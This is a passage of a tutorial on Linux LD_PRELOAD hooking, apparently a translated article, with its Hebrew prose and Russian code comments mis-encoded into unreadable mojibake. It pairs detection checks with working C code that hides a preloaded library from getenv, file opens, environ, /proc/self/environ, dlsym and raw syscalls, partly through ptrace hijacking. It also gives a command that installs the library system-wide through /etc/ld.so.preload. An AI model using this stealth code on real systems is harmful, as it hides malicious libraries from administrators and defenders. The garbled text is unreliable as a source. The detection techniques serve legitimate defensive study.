ืืคืชืง ืืื ื ืืชื ื-2014, ืืื ืืืืืง ืขืืจืชื ืืืืื ืขื ืืืืจื ืืืื ืื ืจืื ืืืจ. ืืืื ืืืืกืืจ ืฉืืืชื ืืื, ืืื ืขืืฉืื ืืฆืืชื ืืช ืื ืืืืืืืช. ืืฉืืชื ืืืืืง ืืืชื, ืืื ืืืื ืื ืืืขืื ืืืืฉืื.
ืืืืคื ืืืื, ืงืจืืื ืงืื ื ืฉื ืื ืื ืืื ืฉืืฉื ืื ืืฉื ืืืคืืฉ "ืืืื" LD_PRELOAD.
1. ืกืืืื ืงืฆืจื ืืื ืฉืืื ื ืืงืื ืืืืืคืช ืคืื ืงืฆืืืช
ืืฉืืจ ืืืืืื ืืืืช ืืฉืจ p.2.
ื ืชืืื ืขื ืืืืื ืงืืืกืืช:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
ืื ื ืืืืจืื ืืื ืืืืื:
$ gcc ./ld_rand.c -o ld_rand
ืืืฆืคืื, ื ืงืื 5 ืืกืคืจืื ืืงืจืืืื ืคืืืช ื-100:
$ ./ld_rand
53
93
48
57
20
ืืื ืืืื ื ืืืืื ืฉืืื ืื ื ืืช ืงืื ืืืงืืจ ืฉื ืืชืืื ืืช, ืืื ืื ืื ื ืฆืจืืืื ืืฉื ืืช ืืช ืืืชื ืืืืช.
ืืืื ื ืืฆืืจ ืกืคืจืืื ืืฉืื ื ืขื ืื ืืืคืืก ืคืื ืงืฆืื ืืฉืื ื, ืืืฉื:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
ืืขืืฉืื ืืืืืจื ืืืงืจืืืช ืฉืื ื ืื ืฆืคืืื:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
ืืืจืืง ืืื ื ืจืื ืืคืืื ืืืชืจ ืืจืฉืื ืื ืื ื ืืืืฆืืื ืืจืืฉืื ื ืืช ืืกืคืจืืื ืฉืื ื ืืืืฆืขืืช
$ export LD_PRELOAD=$PWD/ld_rand.so
ืื ืฉื ืขืฉื ืืช ืื ืงืืื
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
ืืืืืจ ืืื ืืคืขื ืืช ืืชืืื ืืช ืืจืืื. ืื ืฉืื ืื ื ืฉืืจืช ืงืื ืืืช ืืชืืื ื ืขืฆืื, ืืื ืืืชื ืืืืช ืฉืื ืชืืืื ืืขืช ืืคืื ืงืฆืื ืืขืืจื ืืกืคืจืืื ืฉืื ื. ืืชืจื ืืื, ืืืื ืืชืืืช ืืชืืื ืืช, ื ืฉืืจื ืืคืืื ืื ืืื ืงืืื.
ืื ืืจื ืืชืืื ืืช ืฉืื ื ืืืฉืชืืฉ ืืืืืฃ ืฉืืจื? ืืืื ื ืืงื ืืช ืื ืฆืขื ืืืจ ืฆืขื.
ืืืฉืจ ืืืฉืื ืืืคืขื, ื ืืขื ืืช ืกืคืจืืืช ืืกืืืืืช ืืืืืืืช ืืช ืืคืื ืงืฆืืืช ืืืจืืฉืืช ืืชืืื ืืช. ืื ืื ื ืืืืืื ืืจืืืช ืืืชื ืืืืฆืขืืช Ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
ืจืฉืืื ืื ืขืฉืืื ืืืฉืชื ืืช ืืืชืื ืืืจืกืช ืืขืจืืช ืืืคืขืื, ืื ืืืื ืืืืืช ืฉื ืงืืืฅ libc.so. ืกืคืจืื ืื ืืื ืฉืืกืคืงืช ืงืจืืืืช ืืขืจืืช ืืคืื ืงืฆืืืช ืืกืืกืืืช ืืืื ืืคืชืื, malloc, ืืืคืก ืืื' ืฉืื ื ืฉืืจื ืื ืืื ืืื. ืืืื ื ืืืื ืืช ืื:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
ืืืื ื ืจืื ืื โโืกื ืืกืคืจืืืช ืืฉืชื ื ืืขืช ืืฉืืืืฉ LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
ืืกืชืืจ ืฉืืืฉืชื ื ืืืืืจ LD_PRELOAD ืืืืฅ ืืืชื ื ืืืขืื ld_rand.so ืื ืืืจืืช ืืขืืืื ืฉืืชืืื ืืช ืขืฆืื ืืื ื ืืืจืฉืช ืืืช. ืืืื ืืชืคืงืื ืฉืื ื "ืจืื ื" ืขืืืก ืืืงืื ืืืชืจ ื ืฉืืจื ื libc.so, ืืื ืืื ืฉืืืืช ืืืงืื.
ืืืงืื, ืืฆืืื ื ืืืืืืฃ ืืช ืืคืื ืงืฆืื ืืืงืืจืืช, ืืื ืืื ื ืืื ืืืืื ืฉืืคืื ืงืฆืืื ืืืืช ืฉืื ื ืฉืืจืช ืืืกืคืจ ืคืขืืืืช ืืชืืืกืคื. ืืืื ื ืฉื ื ืืช ืืืงืจืื ืฉืื ื:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* ะัะฟะพะปะฝัะตะผ ะฝะตะบะธะน ะบะพะด */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
ืืื, ื"ืชืืกืคืช" ืฉืื ื, ืื ื ืืืคืืกืื ืจืง ืฉืืจืช ืืงืกื ืืืช, ืืืืืจืื ืื ื ืืืฆืจืื ืืฆืืืข ืืคืื ืงืฆืื ืืืงืืจืืช ืฉืืจื. ืืื ืืงืื ืืช ืืืชืืืช ืฉื ืืคืื ืงืฆืื ืืื ืื ืื ื ืฆืจืืืื dlsym ืืื ืคืื ืงืฆืื ืืืกืคืจืืื libdlืืฉืจ ืืืฆื ืฉืื ื ืฉืืจื ืืขืจืืื ืฉื ืกืคืจืืืช ืืื ืืืืช. ืืืืจ ืืื ื ืงืจื ืืคืื ืงืฆืื ืืื ืื ืืืืจ ืืช ืขืจืื. ืืืชืื, ื ืฆืืจื ืืืืกืืฃ "-ldl" ืืืืื ืืืจืืื:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
ืืืชืืื ืืช ืฉืื ื ืืฉืชืืฉืช ื"ืืงืืจื" ืฉืืจื, ืืืืจ ืฉืืืฆืข ืืขืืจ ืืื ืคืขืืืืช ืืืื ืืช.
2. ืืื ืืืืคืืฉ
ืืืืืขื ืขื ืืืื ืคืืื ืฆืืืื, ืื ืื ื ืจืืฆืื ืืืืืช ืืช ืื preload ืื ืืืฆืข. ืืจืืจ ืฉืืืจื ืืื ืืืื ืืืืืช ืืื ืืืืืฃ ืืืชื ืืงืจื ื, ืืื ืืชืขื ืืื ืชื ืืืคืฉืจืืืืช ืืืืืื ืืืจืื ืืืฉืชืืฉ.
ืืืืจ ืืื, ืคืชืจืื ืืช ืืืืื ืืืคืจืืชื ืืืืขื ืืืืืืช.
2.1. ืืืื ื ืชืืื ืคืฉืื
ืืคื ืฉืืืืืจ ืงืืื ืืื, ืืชื ืืืื ืืฆืืื ืืช ืืกืคืจืืื ืืืขืื ื ืืืืฆืขืืช ืืืฉืชื ื LD_PRELOAD ืื ืขื ืืื ืืชืืืชื ืืงืืืฅ /etc/ld.so.preload. ืืืื ื ืืฆืืจ ืฉื ื ืืืืื ืคืฉืืืื.
ืืจืืฉืื ืืื ืืืืืง ืืช ืืฉืชื ื ืืกืืืื ืืืืืืจ:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
ืืฉื ื ืืื ืืืืืง ืื ืืงืืืฅ ื ืคืชื:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
ืืืื ื ืืขื ืืช ืืกืคืจืืืช:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
ืืื ืืืื, [+] ืืฆืืื ืืืืื ืืืฆืื.
ืืืชืื, [-] ืคืืจืืฉื ืขืงืืคืช ืืืืื.
ืืื ืืขืื ืืืื ืืื? ืืืื ื ืกืชืื ืชืืืื ืขื ืืฉืชื ื ืืกืืืื:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
ืืืืคื ืืืื, ืื ื ื ืคืืจืื ืืืฆ'ืง ืืคืชืื:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
ืื, ื ืืชื ืืืฉืชืืฉ ืืื ืืืจืืื ืืืจืืช ืืืฉืช ืืงืืืฅ, ืืืื, 64, stat ืืื', ืืื, ืืืขืฉื, ืืฉ ืฆืืจื ืืืืชื 5-10 ืฉืืจืืช ืงืื ืืื ืืืื ืืช ืืืชื.
2.2. ืืื ื ืืฉืื ืืืื
ืืืขืื ืืฉืชืืฉื ื getenv() ืืื ืืงืื ืืช ืืขืจื LD_PRELOAD, ืืื ืืฉ ืื ืืจื ืืืชืจ "ืืจืื ื ืืืื" ืืืืืข ืืืื ENV-ืืฉืชื ืื. ืื ื ืฉืชืืฉ ืืคืื ืงืฆืืืช ืืื ืืื, ืืื ื ืชืืืืก ืืืขืจื **ืกืืืื, ืืืืืกื ืขืืชืง ืฉื ืืกืืืื:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
ืืืืืื ืฉืืื ืื ื ืงืืจืืื ื ืชืื ืื ืืฉืืจืืช ืืืืืืจืื, ืื ื ืืชื ืืืืจื ืฉืืื ืืื, ืืื ืื ื undetect_getenv ืื ืืืจ ืื ืืคืจืืข ืืืืืช ืืช ืืืืืจื.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
ื ืจืื ืฉืืืขืื ืืื ื ืคืชืจื? ืื ืขืืืื ืจืง ืืชืืื.
ืืืืจ ืืคืขืืช ืืชืืื ืืช, ืืขืจื ืฉื ืืืฉืชื ื LD_PRELOAD ืืืงืจืื ืืืจ ืื ืฆืจืืืื ืืืชื ืืืืืจืื, ืืืืืจ, ืื ืืืืืื ืืงืจืื ืืืชื ืืืืืืง ืืืชื ืืคื ื ืืืฆืืข ืืืจืืืช ืืืฉืื. ืืืืื, ืขืจืืืช ืืขืจื ืืืืืจืื ืืื, ืืื ืืคืืืช, ืกืื ืื ืชืื ืืช ืืจืืข, ืืื ืืื ืื ืืืื ืืขืฆืืจ ืืืฉืื ืฉืื ืืืืช ืืืื ืื ื ืืื ืืื ืืงืจื?
ืืฉื ืื ืขืืื ื ืืืฆืืจ ืคืื ืงืฆืื ืืืืืคืช ืืฉืื ื init (), ืฉืื ืื ื ืืืืจืืื ืืช ืืืืชืงื LD_PRELOAD ืืืขืืืจืื ืืืชื ืืืงืฉืจ ืฉืื ื:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// ะกะพะทะดะฐัะผ ัะตะนะบะพะฒัั ะฒะตััะธั init
// ะบะพัะพัะฐั ะฑัะดะตั ะฒัะทะฒะฐะฝะฐ ะฟัะธ ะทะฐะณััะทะบะต ะฟัะพะณัะฐะผะผั
// ะดะพ ะฒัะฟะพะปะฝะตะฝะธั ะบะฐะบะธั
-ะปะธะฑะพ ะธะฝััััะบัะธะน
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// ะัะพะฒะตััะผ ะฝะต ัััะตััะฒัะตั ะปะธ ะดััะณะธั
ัััะฐะฝะพะฒะปะตะฝะฝัั
LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// ะัะปะธ LD_PRELOAD ะฝะต ะฑัะปะพ ัััะฐะฝะพะฒะปะตะฝะพ ะดะพ ะฝะฐั, ัะพ ะดะพะฑะฐะฒะธะผ ะตะณะพ
if(k == -1){
k = i;
i++;
}
// ะกะพะทะดะฐัะผ ะฝะพะฒะพะต ะพะบััะถะตะฝะธะต
new_env = (char**) malloc((i+1)*sizeof(char*));
// ะะพะฟะธััะตะผ ััะฐัะพะต ะพะบััะถะตะฝะธะต, ะทะฐ ะธัะบะปััะตะฝะธะตะผ LD_PRELOAD
for(j = 0; j < i; j++) {
// ะฟะตัะตะทะฐะฟะธััะฒะฐะตะผ ะธะปะธ ัะพะทะดะฐัะผ LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
ืื ื ืืืฆืขืื ืืืืืงืื:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
ืขื ืืืช, ืืืืืจืื ืืื ืื ืืืงืื ืืืืจืื ืฉืื ืืชื ืืืื ืืืฆืื ืชืืืืฃ LD_PRELOAD, ืืฉ ืื /proc/. ื ืชืืื ืขื ืืืืื ืืืืื /proc/{PID}/environ.
ืืืขืฉื, ืืฉ ืคืชืจืื ืืื ืืืจืกืื ืขืืืจ ืื ืืืืืช **ืกืืืื ะธ /proc/self/environ. ืืืขืื ืืื ืืชื ืืืืช "ืฉืืืื". unsetenv(env).
ืืคืฉืจืืช ื ืืื ื
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
//unsetenv(env);
// ะะผะตััะพ unset ะฟัะพััะพ ะพะฑะฝัะปะธะผ ะฝะฐัั ะฟะตัะตะผะตะฝะฝัั
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
ืืื ืืืื ื ืืืืื ืฉืื ืืฆืื ื ืืช ืื ื /proc/self/environ ืืืื ื ืชืื ืื "ืืขืืืชืืื".
ืจืืฉืืช ืืืื ื ื ืกื ืขื ื"ืชืืคืืฉืช" ืืงืืืืช ืฉืื ื:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
ืืชืื ืืฉืชืืฉ ืืืืชื ืืื ืืคืชืื ืืช ืืงืืืฅ ืึดืคึฐืชืึนืึท(), ืื ืืคืชืจืื ืืืื ืืื ืฉืืืจ ื ืขืฉื ืืกืขืืฃ 2.1, ืืื ืืขืช ืื ื ืืืฆืจืื ืงืืืฅ ืืื ื ืฉืื ืื ื ืืขืชืืงืื ืืช ืขืจืื ืืืืืจืื ืืืืืชื ืืื ืฉืืจืืช ืืืืืืืช LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
ืืืฉืื ืืื ืขืืจ:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
ืืืงืื ืืืจืืจ ืืื ืืื /proc/self/maps. ืืื ืืขื ืืืชืขืื ืขื ืื. ืืคืชืจืื ืืื ืืืืืืื ืืงืืื: ืืขืชืง ืืช ืื ืชืื ืื ืืืงืืืฅ ืืื ืืก ืืฉืืจืืช ืืื ืืื libc.so ะธ ld.so.
2.4. ืืคืฉืจืืช ื- Chokepoint
ืืืืชื ืืืืืื ืืช ืืคืชืจืื ืืื ืืืื ืืคืฉืืืช ืฉืื. ืื ื ืืฉืืืื ืืช ืืืชืืืืช ืฉื ืคืื ืงืฆืืืช ืฉื ืืขื ื ืืฉืืจืืช ื libc, ืืืชืืืืช "ืืื".
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
ืืืขื ืืช ืืกืคืจืืื ืขื ืืืจืื "ืึดืคึฐืชืึนืึท()" ืืืืืืง:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
ืืืคืจืื ืืชืืจืจื ืืคืฉืืื ืขืื ืืืชืจ:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
ื ืจืื ืฉืื ืืื, ืืื ืื ืื ื ืขืืืื ื ืกืื. ืื ื ื ืชื ืืช ืงืจืืืช ืืืขืจืืช ืืฉืืจืืช ืืงืจื ื, ืื ืืขืงืืฃ ืืช ืื ืชืืืื ืืืืจืื. ืืคืชืจืื ืฉืืืื ืืื, ืืืืื, ืชืืื ืืืจืืืืืช (x86_64). ืืืื ื ื ืกื ืืืืฉื ืืช ืื ืืื ืืืืืช ืคืชื ld.so.load ืืจืืฉ.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
ืืืืขืื ืืื ืืฉ ืคืชืจืื. ืงืืข ืืชืื ืืืฉ'ื:
ptrace ืืื ืืื ืืืืคืฉืจ ืืชืืืื ืื ืืฆืคืืช ืืืฉืืื ืืืชืงืืืืช ืฉื ืชืืืื ืืืจ, ืืืฆืื ืืืฉื ืืช ืืช ืื ืชืื ืื ืืืจืืฉืืืื ืฉืื. ืืืจื ืืื ืคืื ืงืฆืื ืื ืืฉืืฉืช ืืืฆืืจืช ื ืงืืืืช ืฉืืืจื ืืชืืื ืืช ืืืชืืจ ืืืืื ืืื ืืืืจ ืงืจืืืืช ืืขืจืืช.
ืชืืืื ืืื ืืืื ืืืชืืื ืืืขืงื ืขื ืืื ืงืจืืื ืชืืืื fork(2), ืืืืืจ ืืื ืชืืืื ืืืื ืฉื ืืฆืจ ืืืื ืืืฆืข PTRACE_TRACEME, ืืืืจืื (ืืืจื ืืื) ืืืฆืืข exec(3). ืืฆื ืฉื ื, ืชืืืื ืื ืืืื ืืืชืืื ืืืืื ืืชืืืื ืงืืื ืืืืฆืขืืช PTRACE_ATTACH.
ืืืขืงื ืขืืฆืจ ืืช ืชืืืื ืืืื ืืื ืคืขื ืฉืืื ืืงืื ืืืช, ืื ืื ืืชืขืืืื ืืืืืช. (ืืืืฆื ืื ืืืื ืืื SIGKILL, ืฉืคืืขื ืืจืืื.) ืชืืืื ืืื ืืงืื ืืืืขื ืขื ืื ืขื ืืื ืงืจืืืช wait(2), ืืืืืจ ืืื ืืื ืืืื ืืืฆืื ืืืฉื ืืช ืืช ืืชืืื ืฉื ืชืืืื ืืืื ืืคื ื ืฉืืื ืืชืืื. ืชืืืื ืืืืจื ืืืคืฉืจ ืืืื ืืืืฉืื ืืจืืฅ, ืืืงืจืื ืืกืืืืื ืืืชืขืื ืืืืืช ืฉื ืฉืื ืืืื ืื ืืฉืืื ืืืช ืืืจ ืืืงืื ืืืช).
ืืคืืื, ืืคืชืจืื ืืื ืืคืงื ืขื ืืชืืืื, ืืขืฆืืจ ืืืชื ืืคื ื ืื ืงืจืืืช ืืขืจืืช ืืืืืืช ืืฆืืจื ืืืคื ืืช ืืช ืืืื ืืคืื ืงืฆืืืช Hook.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// ะคะพัะบะฐะตะผ ะดะพัะตัะฝะธะน ะฟัะพัะตัั
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// ะะพะดะบะปััะฐะตะผัั ะบ ะดะพัะตัะฝะตะผั ะฟัะพัะตััั
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// ะััะปะตะถะธะฒะฐะตะผ ัะพะปัะบะพ SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// ะะพะปััะฐะตะผ ะฝะพะผะตั ัะธััะตะผะฝะพะณะพ ะฒัะทะพะฒะฐ
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// ะงะธัะฐะตะผ ัะปะพะฒะพ ะธะท ะฟะฐะผััะธ ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// ะะตัะตั
ะฒะฐััะฒะฐะตะผ ะฒัะทะพะฒ
if(!NOHOOK) {
// ะะพะฟะธััะตะผ ัะตะณะธัััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
// ะฒ ะฟะตัะตะผะตะฝะฝัั regs ัะพะดะธัะตะปััะบะพะณะพ
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// ะะพะฟะธััะตะผ ัะปะพะฒะพ ะฒ ะฟะฐะผััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// ะฃััะฐะฝะฐะฒะปะธะฒะฐะตะผ RIP ะฟะพ ะฐะดัะตัั evil_open
regs.REG_IP = (unsigned long) evil_open;
// ะะฐะฟะธััะฒะฐะตะผ ัะพััะพัะฝะธะต ัะตะณะธัััะพะฒ ะฟัะพัะตััะฐ
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
ืื ื ืืืืงืื:
